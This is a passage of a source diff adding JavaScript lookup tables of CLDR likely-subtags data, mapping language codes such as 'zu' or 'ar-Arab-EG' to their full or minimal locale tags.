+ "zkz": "zkz-Cyrl-RU",
+ "zla": "zla-Latn-CD",
+ "zlj": "zlj-Hani-CN",
+ "zlj-Latn": "zlj-Latn-CN",
+ "zlm": "zlm-Latn-TG",
+ "zln": "zln-Hani-CN",
+ "zlq": "zlq-Hani-CN",
+ "zma": "zma-Latn-AU",
+ "zmb": "zmb-Latn-CD",
+ "zmc": "zmc-Latn-AU",
+ "zmd": "zmd-Latn-AU",
+ "zme": "zme-Latn-AU",
+ "zmf": "zmf-Latn-CD",
+ "zmg": "zmg-Latn-AU",
+ "zmh": "zmh-Latn-PG",
+ "zmi": "zmi-Latn-MY",
+ "zmj": "zmj-Latn-AU",
+ "zmk": "zmk-Latn-AU",
+ "zml": "zml-Latn-AU",
+ "zmm": "zmm-Latn-AU",
+ "zmn": "zmn-Latn-GA",
+ "zmo": "zmo-Latn-SD",
+ "zmp": "zmp-Latn-CD",
+ "zmq": "zmq-Latn-CD",
+ "zmr": "zmr-Latn-AU",
+ "zms": "zms-Latn-CD",
+ "zmt": "zmt-Latn-AU",
+ "zmu": "zmu-Latn-AU",
+ "zmv": "zmv-Latn-AU",
+ "zmw": "zmw-Latn-CD",
+ "zmx": "zmx-Latn-CG",
+ "zmy": "zmy-Latn-AU",
+ "zmz": "zmz-Latn-CD",
+ "zna": "zna-Latn-TD",
+ "zne": "zne-Latn-ZZ",
+ "zng": "zng-Latn-VN",
+ "znk": "znk-Latn-AU",
+ "zns": "zns-Latn-NG",
+ "zoc": "zoc-Latn-MX",
+ "zoh": "zoh-Latn-MX",
+ "zom": "zom-Latn-IN",
+ "zoo": "zoo-Latn-MX",
+ "zoq": "zoq-Latn-MX",
+ "zor": "zor-Latn-MX",
+ "zos": "zos-Latn-MX",
+ "zpa": "zpa-Latn-MX",
+ "zpb": "zpb-Latn-MX",
+ "zpc": "zpc-Latn-MX",
+ "zpd": "zpd-Latn-MX",
+ "zpe": "zpe-Latn-MX",
+ "zpf": "zpf-Latn-MX",
+ "zpg": "zpg-Latn-MX",
+ "zph": "zph-Latn-MX",
+ "zpi": "zpi-Latn-MX",
+ "zpj": "zpj-Latn-MX",
+ "zpk": "zpk-Latn-MX",
+ "zpl": "zpl-Latn-MX",
+ "zpm": "zpm-Latn-MX",
+ "zpn": "zpn-Latn-MX",
+ "zpo": "zpo-Latn-MX",
+ "zpp": "zpp-Latn-MX",
+ "zpq": "zpq-Latn-MX",
+ "zpr": "zpr-Latn-MX",
+ "zps": "zps-Latn-MX",
+ "zpt": "zpt-Latn-MX",
+ "zpu": "zpu-Latn-MX",
+ "zpv": "zpv-Latn-MX",
+ "zpw": "zpw-Latn-MX",
+ "zpx": "zpx-Latn-MX",
+ "zpy": "zpy-Latn-MX",
+ "zpz": "zpz-Latn-MX",
+ "zqe": "zqe-Hani-CN",
+ "zqe-Latn": "zqe-Latn-CN",
+ "zrn": "zrn-Latn-TD",
+ "zro": "zro-Latn-EC",
+ "zrp": "zrp-Hebr-FR",
+ "zrs": "zrs-Latn-ID",
+ "zsa": "zsa-Latn-PG",
+ "zsr": "zsr-Latn-MX",
+ "zsu": "zsu-Latn-PG",
+ "zte": "zte-Latn-MX",
+ "ztg": "ztg-Latn-MX",
+ "ztl": "ztl-Latn-MX",
+ "ztm": "ztm-Latn-MX",
+ "ztn": "ztn-Latn-MX",
+ "ztp": "ztp-Latn-MX",
+ "ztq": "ztq-Latn-MX",
+ "zts": "zts-Latn-MX",
+ "ztt": "ztt-Latn-MX",
+ "ztu": "ztu-Latn-MX",
+ "ztx": "ztx-Latn-MX",
+ "zty": "zty-Latn-MX",
+ "zu": "zu-Latn-ZA",
+ "zua": "zua-Latn-NG",
+ "zuh": "zuh-Latn-PG",
+ "zum": "zum-Arab-OM",
+ "zun": "zun-Latn-US",
+ "zuy": "zuy-Latn-CM",
+ "zyg": "zyg-Hani-CN",
+ "zyj": "zyj-Latn-CN",
+ "zyj-Hani": "zyj-Hani-CN",
+ "zyn": "zyn-Hani-CN",
+ "zyp": "zyp-Latn-MM",
+ "zza": "zza-Latn-TR",
+ "zzj": "zzj-Hani-CN",
+};
+
+// Extracted from likelySubtags.xml.
+// Derived from CLDR Supplemental Data, version 43.
+// https://unicode.org/Public/cldr/43/cldr-common-43.0.zip
+var minLikelySubtags = {
+ "aa-Latn-DJ": "aa-DJ",
+ "aa-Latn-ET": "aa",
+ "aaa-Latn-NG": "aaa",
+ "aab-Latn-NG": "aab",
+ "aac-Latn-PG": "aac",
+ "aad-Latn-PG": "aad",
+ "aae-Grek-IT": "aae-Grek",
+ "aae-Latn-IT": "aae",
+ "aaf-Arab-IN": "aaf-Arab",
+ "aaf-Mlym-IN": "aaf",
+ "aag-Latn-PG": "aag",
+ "aah-Latn-PG": "aah",
+ "aai-Latn-ZZ": "aai",
+ "aak-Latn-ZZ": "aak",
+ "aal-Latn-CM": "aal",
+ "aan-Latn-BR": "aan",
+ "aao-Arab-DZ": "aao",
+ "aap-Latn-BR": "aap",
+ "aaq-Latn-US": "aaq",
+ "aas-Latn-TZ": "aas",
+ "aat-Grek-GR": "aat",
+ "aau-Latn-ZZ": "aau",
+ "aaw-Latn-PG": "aaw",
+ "aax-Latn-ID": "aax",
+ "aaz-Latn-ID": "aaz",
+ "ab-Cyrl-GE": "ab",
+ "aba-Latn-CI": "aba",
+ "abb-Latn-CM": "abb",
+ "abc-Latn-PH": "abc",
+ "abd-Latn-PH": "abd",
+ "abe-Latn-CA": "abe",
+ "abf-Latn-MY": "abf",
+ "abg-Latn-PG": "abg",
+ "abh-Arab-TJ": "abh",
+ "abi-Latn-ZZ": "abi",
+ "abl-Latn-ID": "abl-Latn",
+ "abl-Rjng-ID": "abl",
+ "abm-Latn-NG": "abm",
+ "abn-Latn-NG": "abn",
+ "abo-Latn-NG": "abo",
+ "abp-Latn-PH": "abp",
+ "abq-Cyrl-ZZ": "abq",
+ "abr-Latn-GH": "abr",
+ "abs-Latn-ID": "abs",
+ "abt-Latn-ZZ": "abt",
+ "abu-Latn-CI": "abu",
+ "abv-Arab-BH": "abv",
+ "abw-Latn-PG": "abw",
+ "abx-Latn-PH": "abx",
+ "aby-Latn-ZZ": "aby",
+ "abz-Latn-ID": "abz",
+ "aca-Latn-CO": "aca",
+ "acb-Latn-NG": "acb",
+ "acd-Latn-ZZ": "acd",
+ "ace-Latn-ID": "ace",
+ "acf-Latn-LC": "acf",
+ "ach-Latn-UG": "ach",
+ "acm-Arab-IQ": "acm",
+ "acn-Latn-CN": "acn",
+ "acp-Latn-NG": "acp",
+ "acq-Arab-YE": "acq",
+ "acr-Latn-GT": "acr",
+ "acs-Latn-BR": "acs",
+ "act-Latn-NL": "act",
+ "acu-Latn-EC": "acu",
+ "acv-Latn-US": "acv",
+ "acw-Arab-SA": "acw",
+ "acx-Arab-OM": "acx",
+ "acy-Arab-CY": "acy-Arab",
+ "acy-Grek-CY": "acy-Grek",
+ "acy-Latn-CY": "acy",
+ "acz-Latn-SD": "acz",
+ "ada-Latn-GH": "ada",
+ "adb-Latn-TL": "adb",
+ "add-Latn-CM": "add",
+ "ade-Latn-ZZ": "ade",
+ "adf-Arab-OM": "adf",
+ "adg-Latn-AU": "adg",
+ "adh-Latn-UG": "adh",
+ "adi-Latn-IN": "adi",
+ "adi-Tibt-CN": "adi-Tibt",
+ "adj-Latn-ZZ": "adj",
+ "adl-Latn-IN": "adl",
+ "adn-Latn-ID": "adn",
+ "ado-Latn-PG": "ado",
+ "adq-Latn-GH": "adq",
+ "adr-Latn-ID": "adr",
+ "adt-Latn-AU": "adt",
+ "adu-Latn-NG": "adu",
+ "adw-Latn-BR": "adw",
+ "adx-Tibt-CN": "adx",
+ "ady-Cyrl-RU": "ady",
+ "adz-Latn-ZZ": "adz",
+ "ae-Avst-IR": "ae",
+ "aea-Latn-AU": "aea",
+ "aeb-Arab-TN": "aeb",
+ "aec-Arab-EG": "aec",
+ "aee-Arab-AF": "aee",
+ "aek-Latn-NC": "aek",
+ "ael-Latn-CM": "ael",
+ "aem-Latn-VN": "aem",
+ "aeq-Arab-PK": "aeq",
+ "aer-Latn-AU": "aer",
+ "aeu-Latn-CN": "aeu",
+ "aew-Latn-PG": "aew",
+ "aey-Latn-ZZ": "aey",
+ "aez-Latn-PG": "aez",
+ "af-Latn-NA": "af-NA",
+ "af-Latn-ZA": "af",
+ "afb-Arab-KW": "afb",
+ "afd-Latn-PG": "afd",
+ "afe-Latn-NG": "afe",
+ "afh-Latn-GH": "afh",
+ "afi-Latn-PG": "afi",
+ "afk-Latn-PG": "afk",
+ "afn-Latn-NG": "afn",
+ "afo-Latn-NG": "afo",
+ "afp-Latn-PG": "afp",
+ "afs-Latn-MX": "afs",
+ "afu-Latn-GH": "afu",
+ "afz-Latn-ID": "afz",
+ "aga-Latn-PE": "aga",
+ "agb-Latn-NG": "agb",
+ "agc-Latn-ZZ": "agc",
+ "agd-Latn-ZZ": "agd",
+ "age-Latn-PG": "age",
+ "agf-Latn-ID": "agf",
+ "agg-Latn-ZZ": "agg",
+ "agh-Latn-CD": "agh",
+ "agi-Deva-IN": "agi",
+ "agj-Arab-ET": "agj-Arab",
+ "agj-Ethi-ET": "agj",
+ "agk-Latn-PH": "agk",
+ "agl-Latn-PG": "agl",
+ "agm-Latn-ZZ": "agm",
+ "agn-Latn-PH": "agn",
+ "ago-Latn-ZZ": "ago",
+ "agq-Latn-CM": "agq",
+ "agr-Latn-PE": "agr",
+ "ags-Latn-CM": "ags",
+ "agt-Latn-PH": "agt",
+ "agu-Latn-GT": "agu",
+ "agv-Latn-PH": "agv",
+ "agw-Latn-SB": "agw",
+ "agx-Cyrl-RU": "agx",
+ "agy-Latn-PH": "agy",
+ "agz-Latn-PH": "agz",
+ "aha-Latn-ZZ": "aha",
+ "ahb-Latn-VU": "ahb",
+ "ahg-Ethi-ET": "ahg",
+ "ahh-Latn-ID": "ahh",
+ "ahi-Latn-CI": "ahi",
+ "ahk-Latn-MM": "ahk",
+ "ahk-Latn-TH": "ahk-TH",
+ "ahk-Mymr-MM": "ahk-Mymr",
+ "ahk-Thai-TH": "ahk-Thai",
+ "ahl-Latn-ZZ": "ahl",
+ "ahm-Latn-CI": "ahm",
+ "ahn-Latn-NG": "ahn",
+ "aho-Ahom-IN": "aho",
+ "ahp-Latn-CI": "ahp",
+ "ahr-Deva-IN": "ahr",
+ "ahs-Latn-NG": "ahs",
+ "aht-Latn-US": "aht",
+ "aia-Latn-SB": "aia",
+ "aib-Arab-CN": "aib",
+ "aic-Latn-PG": "aic",
+ "aid-Latn-AU": "aid",
+ "aie-Latn-PG": "aie",
+ "aif-Latn-PG": "aif",
+ "aig-Latn-AG": "aig",
+ "aij-Hebr-IL": "aij",
+ "aik-Latn-NG": "aik",
+ "ail-Latn-PG": "ail",
+ "aim-Latn-IN": "aim",
+ "ain-Kana-JP": "ain",
+ "ain-Latn-JP": "ain-Latn",
+ "aio-Mymr-IN": "aio",
+ "aip-Latn-ID": "aip",
+ "aiq-Arab-AF": "aiq",
+ "air-Latn-ID": "air",
+ "ait-Latn-BR": "ait",
+ "aiw-Arab-ET": "aiw-Arab",
+ "aiw-Ethi-ET": "aiw-Ethi",
+ "aiw-Latn-ET": "aiw",
+ "aix-Latn-PG": "aix",
+ "aiy-Latn-CF": "aiy",
+ "aja-Latn-SS": "aja",
+ "ajg-Latn-ZZ": "ajg",
+ "aji-Latn-NC": "aji",
+ "ajn-Latn-AU": "ajn",
+ "ajp-Arab-JO": "ajp",
+ "ajw-Latn-NG": "ajw",
+ "ajz-Latn-IN": "ajz",
+ "ak-Latn-GH": "ak",
+ "akb-Batk-ID": "akb-Batk",
+ "akb-Latn-ID": "akb",
+ "akc-Latn-ID": "akc",
+ "akd-Latn-NG": "akd",
+ "ake-Latn-GY": "ake",
+ "akf-Latn-NG": "akf",
+ "akg-Latn-ID": "akg",
+ "akh-Latn-PG": "akh",
+ "aki-Latn-PG": "aki",
+ "akk-Xsux-IQ": "akk",
+ "akl-Latn-PH": "akl",
+ "ako-Latn-SR": "ako",
+ "akp-Latn-GH": "akp",
+ "akq-Latn-PG": "akq",
+ "akr-Latn-VU": "akr",
+ "aks-Latn-TG": "aks",
+ "akt-Latn-PG": "akt",
+ "aku-Latn-CM": "aku",
+ "akv-Cyrl-RU": "akv",
+ "akw-Latn-CG": "akw",
+ "akz-Latn-US": "akz",
+ "ala-Latn-ZZ": "ala",
+ "alc-Latn-CL": "alc",
+ "ald-Latn-CI": "ald",
+ "ale-Latn-US": "ale",
+ "alf-Latn-NG": "alf",
+ "alh-Latn-AU": "alh",
+ "ali-Latn-ZZ": "ali",
+ "alj-Latn-PH": "alj",
+ "alk-Laoo-LA": "alk",
+ "all-Mlym-IN": "all",
+ "alm-Latn-VU": "alm",
+ "aln-Latn-XK": "aln",
+ "alo-Latn-ID": "alo",
+ "alp-Latn-ID": "alp",
+ "alq-Latn-CA": "alq",
+ "alr-Cyrl-RU": "alr",
+ "alt-Cyrl-RU": "alt",
+ "alu-Latn-SB": "alu",
+ "alw-Ethi-ET": "alw",
+ "alx-Latn-PG": "alx",
+ "aly-Latn-AU": "aly",
+ "alz-Latn-CD": "alz",
+ "am-Ethi-ET": "am",
+ "ama-Latn-BR": "ama",
+ "amb-Latn-NG": "amb",
+ "amc-Latn-PE": "amc",
+ "ame-Latn-PE": "ame",
+ "amf-Ethi-ET": "amf-Ethi",
+ "amf-Latn-ET": "amf",
+ "amg-Latn-AU": "amg",
+ "ami-Latn-TW": "ami",
+ "amj-Latn-TD": "amj",
+ "amk-Latn-ID": "amk",
+ "amm-Latn-ZZ": "amm",
+ "amn-Latn-ZZ": "amn",
+ "amo-Latn-NG": "amo",
+ "amp-Latn-ZZ": "amp",
+ "amq-Latn-ID": "amq",
+ "amr-Latn-PE": "amr",
+ "ams-Jpan-JP": "ams",
+ "amt-Latn-PG": "amt",
+ "amu-Latn-MX": "amu",
+ "amv-Latn-ID": "amv",
+ "amw-Arab-SY": "amw-Arab",
+ "amw-Armi-SY": "amw-Armi",
+ "amw-Latn-SY": "amw-Latn",
+ "amw-Syrc-SY": "amw",
+ "amx-Latn-AU": "amx",
+ "amy-Latn-AU": "amy",
+ "amz-Latn-AU": "amz",
+ "an-Latn-ES": "an",
+ "ana-Latn-CO": "ana",
+ "anb-Latn-PE": "anb",
+ "anc-Latn-ZZ": "anc",
+ "and-Latn-ID": "and",
+ "ane-Latn-NC": "ane",
+ "anf-Latn-GH": "anf",
+ "ang-Latn-GB": "ang",
+ "anh-Latn-PG": "anh",
+ "ani-Cyrl-RU": "ani",
+ "anj-Latn-PG": "anj",
+ "ank-Latn-ZZ": "ank",
+ "anl-Latn-MM": "anl",
+ "anm-Latn-IN": "anm",
+ "ann-Latn-NG": "ann",
+ "ano-Latn-CO": "ano",
+ "anp-Deva-IN": "anp",
+ "anr-Deva-IN": "anr",
+ "ans-Latn-CO": "ans",
+ "ant-Latn-AU": "ant",
+ "anu-Arab-SS": "anu-Arab",
+ "anu-Ethi-ET": "anu",
+ "anu-Latn-SS": "anu-Latn",
+ "anv-Latn-CM": "anv",
+ "anw-Latn-NG": "anw",
+ "anx-Latn-PG": "anx",
+ "any-Latn-ZZ": "any",
+ "anz-Latn-PG": "anz",
+ "aoa-Latn-ST": "aoa",
+ "aob-Latn-PG": "aob",
+ "aoc-Latn-VE": "aoc",
+ "aod-Latn-PG": "aod",
+ "aoe-Latn-PG": "aoe",
+ "aof-Latn-PG": "aof",
+ "aog-Latn-PG": "aog",
+ "aoi-Latn-AU": "aoi",
+ "aoj-Latn-ZZ": "aoj",
+ "aok-Latn-NC": "aok",
+ "aol-Latn-ID": "aol",
+ "aom-Latn-ZZ": "aom",
+ "aon-Latn-PG": "aon",
+ "aor-Latn-VU": "aor",
+ "aos-Latn-ID": "aos",
+ "aot-Beng-BD": "aot",
+ "aot-Latn-IN": "aot-Latn",
+ "aox-Latn-GY": "aox",
+ "aoz-Latn-ID": "aoz",
+ "apb-Latn-SB": "apb",
+ "apc-Arab-SY": "apc",
+ "apc-Arab-TR": "apc-TR",
+ "apd-Arab-TG": "apd",
+ "ape-Latn-ZZ": "ape",
+ "apf-Latn-PH": "apf",
+ "apg-Latn-ID": "apg",
+ "aph-Deva-NP": "aph",
+ "api-Latn-BR": "api",
+ "apj-Latn-US": "apj",
+ "apk-Latn-US": "apk",
+ "apl-Latn-US": "apl",
+ "apm-Latn-US": "apm",
+ "apn-Latn-BR": "apn",
+ "apo-Latn-PG": "apo",
+ "app-Latn-VU": "app",
+ "apr-Latn-ZZ": "apr",
+ "aps-Latn-ZZ": "aps",
+ "apt-Latn-IN": "apt",
+ "apu-Latn-BR": "apu",
+ "apv-Latn-BR": "apv",
+ "apw-Latn-US": "apw",
+ "apx-Latn-ID": "apx",
+ "apy-Latn-BR": "apy",
+ "apz-Latn-ZZ": "apz",
+ "aqc-Cyrl-RU": "aqc",
+ "aqd-Latn-ML": "aqd",
+ "aqg-Latn-NG": "aqg",
+ "aqk-Latn-NG": "aqk",
+ "aqm-Latn-ID": "aqm",
+ "aqn-Latn-PH": "aqn",
+ "aqr-Latn-NC": "aqr",
+ "aqt-Latn-PY": "aqt",
+ "aqz-Latn-BR": "aqz",
+ "ar-Arab-AE": "ar-AE",
+ "ar-Arab-BH": "ar-BH",
+ "ar-Arab-DZ": "ar-DZ",
+ "ar-Arab-EG": "ar",
+ "ar-Arab-EH": "ar-EH",
+ "ar-Arab-IQ": "ar-IQ",
+ "ar-Arab-JO": "ar-JO",
+ "ar-Arab-KM": "ar-KM",
+ "ar-Arab-KW": "ar-KW",
+ "ar-Arab-LB": "ar-LB",
+ "ar-Arab-LY": "ar-LY",
+ "ar-Arab-MA": "ar-MA",
+ "ar-Arab-MR": "ar-MR",
+ "ar-Arab-OM": "ar-OM",
+ "ar-Arab-PS": "ar-PS",
+ "ar-Arab-QA": "ar-QA",
+ "ar-Arab-SA": "ar-SA",
+ "ar-Arab-SD": "ar-SD",
+ "ar-Arab-SY": "ar-SY",
+ "ar-Arab-TN": "ar-TN",
+ "ar-Arab-YE": "ar-YE",
+ "arc-Armi-IR": "arc",
+ "arc-Elym-IR": "arc-Elym",
+ "arc-Nbat-JO": "arc-Nbat",
+ "arc-Palm-SY": "arc-Palm",
+ "ard-Latn-AU": "ard",
+ "are-Latn-AU": "are",
+ "arh-Latn-ZZ": "arh",
+ "ari-Latn-US": "ari",
+ "arj-Latn-BR": "arj",
+ "ark-Latn-BR": "ark",
+ "arl-Latn-PE": "arl",
+ "arn-Latn-CL": "arn",
+ "aro-Latn-BO": "aro",
+ "arp-Latn-US": "arp",
+ "arq-Arab-DZ": "arq",
+ "arr-Latn-BR": "arr",
+ "ars-Arab-SA": "ars",
+ "aru-Latn-BR": "aru",
+ "arw-Latn-SR": "arw",
+ "arx-Latn-BR": "arx",
+ "ary-Arab-MA": "ary",
+ "arz-Arab-EG": "arz",
+ "as-Beng-IN": "as",
+ "asa-Latn-TZ": "asa",
+ "asb-Latn-CA": "asb",
+ "asc-Latn-ID": "asc",
+ "ase-Sgnw-US": "ase",
+ "asg-Latn-ZZ": "asg",
+ "ash-Latn-PE": "ash",
+ "asi-Latn-ID": "asi",
+ "asj-Latn-CM": "asj",
+ "ask-Arab-AF": "ask",
+ "asl-Latn-ID": "asl",
+ "asn-Latn-BR": "asn",
+ "aso-Latn-ZZ": "aso",
+ "ass-Latn-CM": "ass",
+ "ast-Latn-ES": "ast",
+ "asu-Latn-BR": "asu",
+ "asv-Latn-CD": "asv",
+ "asx-Latn-PG": "asx",
+ "asy-Latn-ID": "asy",
+ "asz-Latn-ID": "asz",
+ "ata-Latn-ZZ": "ata",
+ "atb-Latn-CN": "atb",
+ "atb-Lisu-CN": "atb-Lisu",
+ "atc-Latn-PE": "atc",
+ "atd-Latn-PH": "atd",
+ "ate-Latn-PG": "ate",
+ "atg-Latn-ZZ": "atg",
+ "ati-Latn-CI": "ati",
+ "atj-Latn-CA": "atj",
+ "atk-Latn-PH": "atk",
+ "atl-Latn-PH": "atl",
+ "atm-Latn-PH": "atm",
+ "atn-Arab-IR": "atn",
+ "ato-Latn-CM": "ato",
+ "atp-Latn-PH": "atp",
+ "atq-Latn-ID": "atq",
+ "atr-Latn-BR": "atr",
+ "ats-Latn-US": "ats",
+ "att-Latn-PH": "att",
+ "atu-Latn-SS": "atu",
+ "atv-Cyrl-RU": "atv",
+ "atw-Latn-US": "atw",
+ "atx-Latn-BR": "atx",
+ "aty-Latn-VU": "aty",
+ "atz-Latn-PH": "atz",
+ "aua-Latn-SB": "aua",
+ "auc-Latn-EC": "auc",
+ "aud-Latn-SB": "aud",
+ "aug-Latn-BJ": "aug",
+ "auh-Latn-ZM": "auh",
+ "aui-Latn-PG": "aui",
+ "auj-Arab-LY": "auj",
+ "auj-Latn-LY": "auj-Latn",
+ "auj-Tfng-LY": "auj-Tfng",
+ "auk-Latn-PG": "auk",
+ "aul-Latn-VU": "aul",
+ "aum-Latn-NG": "aum",
+ "aun-Latn-PG": "aun",
+ "auo-Latn-NG": "auo",
+ "aup-Latn-PG": "aup",
+ "auq-Latn-ID": "auq",
+ "aur-Latn-PG": "aur",
+ "aut-Latn-PF": "aut",
+ "auu-Latn-ID": "auu",
+ "auw-Latn-ID": "auw",
+ "auy-Latn-ZZ": "auy",
+ "auz-Arab-UZ": "auz",
+ "av-Cyrl-RU": "av",
+ "avb-Latn-PG": "avb",
+ "avd-Arab-IR": "avd",
+ "avi-Latn-CI": "avi",
+ "avk-Latn-001": "avk",
+ "avl-Arab-ZZ": "avl",
+ "avm-Latn-AU": "avm",
+ "avn-Latn-ZZ": "avn",
+ "avo-Latn-BR": "avo",
+ "avs-Latn-PE": "avs",
+ "avt-Latn-ZZ": "avt",
+ "avu-Latn-ZZ": "avu",
+ "avv-Latn-BR": "avv",
+ "awa-Deva-IN": "awa",
+ "awb-Latn-ZZ": "awb",
+ "awc-Latn-NG": "awc",
+ "awe-Latn-BR": "awe",
+ "awg-Latn-AU": "awg",
+ "awh-Latn-ID": "awh",
+ "awi-Latn-PG": "awi",
+ "awk-Latn-AU": "awk",
+ "awm-Latn-PG": "awm",
+ "awn-Ethi-ET": "awn",
+ "awo-Latn-ZZ": "awo",
+ "awr-Latn-ID": "awr",
+ "aws-Latn-ID": "aws",
+ "awt-Latn-BR": "awt",
+ "awu-Latn-ID": "awu",
+ "awv-Latn-ID": "awv",
+ "aww-Latn-PG": "aww",
+ "awx-Latn-ZZ": "awx",
+ "awy-Latn-ID": "awy",
+ "axb-Latn-AR": "axb",
+ "axe-Latn-AU": "axe",
+ "axg-Latn-BR": "axg",
+ "axk-Latn-CF": "axk",
+ "axl-Latn-AU": "axl",
+ "axm-Armn-AM": "axm",
+ "axx-Latn-NC": "axx",
+ "ay-Latn-BO": "ay",
+ "aya-Latn-PG": "aya",
+ "ayb-Latn-ZZ": "ayb",
+ "ayc-Latn-PE": "ayc",
+ "ayd-Latn-AU": "ayd",
+ "aye-Latn-NG": "aye",
+ "ayg-Latn-TG": "ayg",
+ "ayh-Arab-YE": "ayh",
+ "ayi-Latn-NG": "ayi",
+ "ayk-Latn-NG": "ayk",
+ "ayl-Arab-LY": "ayl",
+ "ayn-Arab-YE": "ayn",
+ "ayo-Latn-PY": "ayo",
+ "ayp-Arab-IQ": "ayp",
+ "ayq-Latn-PG": "ayq",
+ "ays-Latn-PH": "ays",
+ "ayt-Latn-PH": "ayt",
+ "ayu-Latn-NG": "ayu",
+ "ayz-Latn-ID": "ayz",
+ "az-Arab-IQ": "az-IQ",
+ "az-Arab-IR": "az-IR",
+ "az-Cyrl-RU": "az-RU",
+ "az-Latn-AZ": "az",
+ "azb-Arab-IR": "azb",
+ "azb-Cyrl-AZ": "azb-Cyrl",
+ "azb-Latn-AZ": "azb-Latn",
+ "azd-Latn-MX": "azd",
+ "azg-Latn-MX": "azg",
+ "azm-Latn-MX": "azm",
+ "azn-Latn-MX": "azn",
+ "azo-Latn-CM": "azo",
+ "azt-Latn-PH": "azt",
+ "azz-Latn-MX": "azz",
+ "ba-Cyrl-RU": "ba",
+ "baa-Latn-SB": "baa",
+ "bab-Latn-GW": "bab",
+ "bac-Latn-ID": "bac",
+ "bae-Latn-VE": "bae",
+ "baf-Latn-CM": "baf",
+ "bag-Latn-CM": "bag",
+ "bah-Latn-BS": "bah",
+ "baj-Latn-ID": "baj",
+ "bal-Arab-PK": "bal",
+ "ban-Bali-ID": "ban-Bali",
+ "ban-Latn-ID": "ban",
+ "bao-Latn-CO": "bao",
+ "bap-Deva-NP": "bap",
+ "bar-Latn-AT": "bar",
+ "bas-Latn-CM": "bas",
+ "bau-Latn-NG": "bau",
+ "bav-Latn-ZZ": "bav",
+ "baw-Latn-CM": "baw",
+ "bax-Bamu-CM": "bax",
+ "bay-Latn-ID": "bay",
+ "bba-Latn-ZZ": "bba",
+ "bbb-Latn-ZZ": "bbb",
+ "bbc-Batk-ID": "bbc-Batk",
+ "bbc-Latn-ID": "bbc",
+ "bbd-Latn-ZZ": "bbd",
+ "bbe-Latn-CD": "bbe",
+ "bbf-Latn-PG": "bbf",
+ "bbg-Latn-GA": "bbg",
+ "bbi-Latn-CM": "bbi",
+ "bbj-Latn-CM": "bbj",
+ "bbk-Latn-CM": "bbk",
+ "bbl-Geor-GE": "bbl",
+ "bbm-Latn-CD": "bbm",
+ "bbn-Latn-PG": "bbn",
+ "bbo-Latn-BF": "bbo",
+ "bbp-Latn-ZZ": "bbp",
+ "bbq-Latn-CM": "bbq",
+ "bbr-Latn-ZZ": "bbr",
+ "bbs-Latn-NG": "bbs",
+ "bbt-Latn-NG": "bbt",
+ "bbu-Latn-NG": "bbu",
+ "bbv-Latn-PG": "bbv",
+ "bbw-Latn-CM": "bbw",
+ "bbx-Latn-CM": "bbx",
+ "bby-Latn-CM": "bby",
+ "bca-Hani-CN": "bca-Hani",
+ "bca-Latn-CN": "bca",
+ "bcb-Latn-SN": "bcb",
+ "bcd-Latn-ID": "bcd",
+ "bce-Latn-CM": "bce",
+ "bcf-Latn-ZZ": "bcf",
+ "bcg-Latn-GN": "bcg",
+ "bch-Latn-ZZ": "bch",
+ "bci-Latn-CI": "bci",
+ "bcj-Latn-AU": "bcj",
+ "bck-Latn-AU": "bck",
+ "bcm-Latn-ZZ": "bcm",
+ "bcn-Latn-ZZ": "bcn",
+ "bco-Latn-ZZ": "bco",
+ "bcp-Latn-CD": "bcp",
+ "bcq-Ethi-ZZ": "bcq",
+ "bcr-Latn-CA": "bcr",
+ "bcs-Latn-NG": "bcs",
+ "bct-Latn-CD": "bct",
+ "bcu-Latn-ZZ": "bcu",
+ "bcv-Latn-NG": "bcv",
+ "bcw-Latn-CM": "bcw",
+ "bcy-Latn-NG": "bcy",
+ "bcz-Latn-SN": "bcz",
+ "bda-Latn-SN": "bda",
+ "bdb-Latn-ID": "bdb",
+ "bdc-Latn-CO": "bdc",
+ "bdd-Latn-ZZ": "bdd",
+ "bde-Latn-NG": "bde",
+ "bdf-Latn-PG": "bdf",
+ "bdg-Latn-MY": "bdg",
+ "bdh-Latn-SS": "bdh",
+ "bdi-Latn-SD": "bdi",
+ "bdj-Latn-SS": "bdj",
+ "bdk-Latn-AZ": "bdk",
+ "bdl-Latn-ID": "bdl",
+ "bdm-Latn-TD": "bdm",
+ "bdn-Latn-CM": "bdn",
+ "bdo-Latn-TD": "bdo",
+ "bdp-Latn-TZ": "bdp",
+ "bdq-Latn-VN": "bdq",
+ "bdr-Latn-MY": "bdr",
+ "bds-Latn-TZ": "bds",
+ "bdt-Latn-CF": "bdt",
+ "bdu-Latn-CM": "bdu",
+ "bdv-Orya-IN": "bdv",
+ "bdw-Latn-ID": "bdw",
+ "bdx-Latn-ID": "bdx",
+ "bdy-Latn-AU": "bdy",
+ "bdz-Arab-PK": "bdz",
+ "be-Cyrl-BY": "be",
+ "bea-Cans-CA": "bea-Cans",
+ "bea-Latn-CA": "bea",
+ "beb-Latn-CM": "beb",
+ "bec-Latn-CM": "bec",
+ "bed-Latn-ID": "bed",
+ "bee-Deva-IN": "bee",
+ "bef-Latn-ZZ": "bef",
+ "beh-Latn-ZZ": "beh",
+ "bei-Latn-ID": "bei",
+ "bej-Arab-SD": "bej",
+ "bek-Latn-PG": "bek",
+ "bem-Latn-ZM": "bem",
+ "beo-Latn-PG": "beo",
+ "bep-Latn-ID": "bep",
+ "beq-Latn-CG": "beq",
+ "bes-Latn-TD": "bes",
+ "bet-Latn-ZZ": "bet",
+ "beu-Latn-ID": "beu",
+ "bev-Latn-CI": "bev",
+ "bew-Latn-ID": "bew",
+ "bex-Latn-ZZ": "bex",
+ "bey-Latn-PG": "bey",
+ "bez-Latn-TZ": "bez",
+ "bfa-Arab-SS": "bfa-Arab",
+ "bfa-Latn-SS": "bfa",
+ "bfb-Deva-IN": "bfb",
+ "bfc-Latn-CN": "bfc",
+ "bfd-Latn-CM": "bfd",
+ "bfe-Latn-ID": "bfe",
+ "bff-Latn-CF": "bff",
+ "bfg-Latn-ID": "bfg",
+ "bfh-Latn-PG": "bfh",
+ "bfj-Latn-CM": "bfj",
+ "bfl-Latn-CF": "bfl",
+ "bfm-Latn-CM": "bfm",
+ "bfn-Latn-TL": "bfn",
+ "bfo-Latn-BF": "bfo",
+ "bfp-Latn-CM": "bfp",
+ "bfq-Taml-IN": "bfq",
+ "bfs-Hani-CN": "bfs-Hani",
+ "bfs-Latn-CN": "bfs",
+ "bft-Arab-PK": "bft",
+ "bfu-Takr-IN": "bfu-Takr",
+ "bfu-Tibt-IN": "bfu",
+ "bfw-Orya-IN": "bfw",
+ "bfx-Latn-PH": "bfx",
+ "bfy-Deva-IN": "bfy",
+ "bfz-Deva-IN": "bfz",
+ "bg-Cyrl-BG": "bg",
